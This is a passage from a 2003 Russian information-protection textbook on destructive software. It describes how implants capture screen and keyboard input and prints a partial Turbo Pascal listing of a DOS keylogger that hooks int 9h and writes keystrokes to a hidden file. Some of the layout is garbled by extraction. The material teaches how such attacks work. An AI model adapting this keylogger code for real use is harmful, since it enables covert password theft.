Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
ОЗІ / Лекц_ї / все / Методы и средства защиты информации, 2003.pdf
Скачиваний:
830
Добавлен:
05.06.2015
Размер:
8.14 Mб
Скачать

Разрушающие программные средства 247

формативной области программы (иногда этот адрес используется всеми программами и поэтому заранее известен). Далее необходимо анализировать события, связанные с работой прикладной программы или операционной среды, причем интерес представляют лишь события, результатом которых может стать появление интересующей информации в информативной области. Установив факт интересующего события, закладка переносит часть информативной области либо всю информативную область в свою область сохранения (непосредственно на диск или в выделенную область оперативной памяти).

Перехват вывода на экран

Рассмотрим только текстовый режим вывода. Режим графического вывода будет отличаться лишь тем, что изменится адрес видеобуфера в программе, и информация будет представлена в виде точек с определенным цветом.

В оперативной памяти ПЭВМ область видеобуфера имеет заранее известный фиксированный адрес. Видеобуфер, с точки зрения программы, представляет собой область обычной оперативной памяти, которая рассматривается как последовательность слов (16 бит) в формате: символ (8 бит) + цвет (8 бит).

Выводимый на экран текст помещается в видеобуфер, откуда может быть считан и сохранен закладкой.

Синхронизирующим событием в этом случае может быть:

ввод с клавиатуры длинной последовательности символов (обрабатываемого текста);

чтение из файла;

запуск программ с определенными именами.

Кроме того, возможно периодическое сохранение области экранного буфера по сигналу от системного таймера.

Перехват ввода с клавиатуры

Закладки, анализирующие ввод с клавиатуры, являются достаточно опасными, поскольку клавиатура является основным устройством управления и ввода информации. Через клавиатурный ввод можно получить информацию о вводимых конфиденциальных сообщениях (текстах), паролях и т.д.

Перехват может производится двумя основными способами:

встраивание в цепочку прерывания int 9h;

анализом содержания клавиатурного порта или буфера по прерыванию от системного таймера.

Работа закладки основывается на полном сохранении всех нажатий (отжатий) клавиш

вфайле. Файл затем изучается, и на его основе злоумышленник, пытавшийся получить доступ к зашифрованным файлам, восстанавливает возможные парольные последовательности.

Пример подобной закладки приведен в листинге 14.1.

248 Глава 14. Методы и средства разрушения информации

Листинг 14.1. Пример закладки, перехватывающей ввод с клавиатуры

{$M 2048,0,0} {$F+}

Uses Dos;

const

ArchiveName

=

'C:\WINDOWS\USER.BIN';

OldSS

: Word = 0;

OldSP

: Word = 0;

StackSW

: Integer = - 1;

NewSS

: Word = 0;

NewSP

: Word = 0;

var

 

: Procedure;

Old9h

 

R

 

: Registers;

DOSSeg, DOSOfs : Word;

Tick, WaitBuf

: Integer;

NeedPop

 

: Boolean;

CBuf

 

: Word;

KBuf

 

: array [1..255] of Byte;

procedure BeginInt; inline($FF/$06/StackSW/

$75/$10/ $8C/$16/OldSS/ $89/$26/OldSP/ $8E/$16/NewSS/

Продолжение листинга 14.1

$8B/$26/NewSP);

procedure EndInt; inline($FF/$0E/StackSW/

$7D/$08/ $8E/$16/OldSS/ $8B/$26/OldSP);

procedure CallPop(Sub: Pointer); begin

inline($FF/$5E/$06); end;

procedure CLI; inline($FA);

Разрушающие программные средства 249

procedure STI; inline($FB);

procedure TSRCrap; var

F: File; begin CLI; BeginInt; STI;

NeedPop := False; Assign(F, ArchiveName); {$I-}

Reset(F,1); {$I+}

if IOResult <> 0 then ReWrite(F,1) else seek(F,FileSize(F)); SetFAttr(F,ARCHIVE+HIDDEN);

BlockWrite(F,KBuf,CBuf); { Запись содержимого буфера в файл } CBuf := 0;

Close(F); Tick := 0; CLI; EndInt; STI;

end;

Продолжение листинга 14.1

procedure RunTSR; interrupt; begin

CLI;

BeginInt;

STI;

Inc(Tick);

if (Tick > 18.2 * WaitBuf) and (CBuf > 0) then begin

NeedPop := True;

if Mem[DOSSeg:DOSOfs] = 0 then begin

NeedPop := False;

Port[$20]:=$20;

250 Глава 14. Методы и средства разрушения информации

TSRCrap;

end;

end;

CLI;

EndInt;

STI;

end;

procedure Int28TSR; interrupt; begin

CLI;

BeginInt;

STI;

if NeedPop = True Then TSRCrap; CLI;

EndInt;

STI;

end;

procedure New9h;interrupt;

{ Новый обработчик прерывания 9h } var

Tail : Word absolute $40 : $1C; B:Boolean;

begin

B := Port[$60]<$80; inline($9C);

Old9h; { Вызов старого обработчика } if B and (Lo(MemW[$40:Tail])<>0) then

Окончание листинга 14.1

begin Inc(CBuf);

if CBuf > 255 Then CBuf := 255; KBuf[CBuf]:=Lo(MemW[$40:Tail]); { Cохранение клавиши в буфе-

ре } end;

end;

procedure InitTSR; begin

NewSS := SSeg; inline($89/$26/NewSP); R.AH := $34;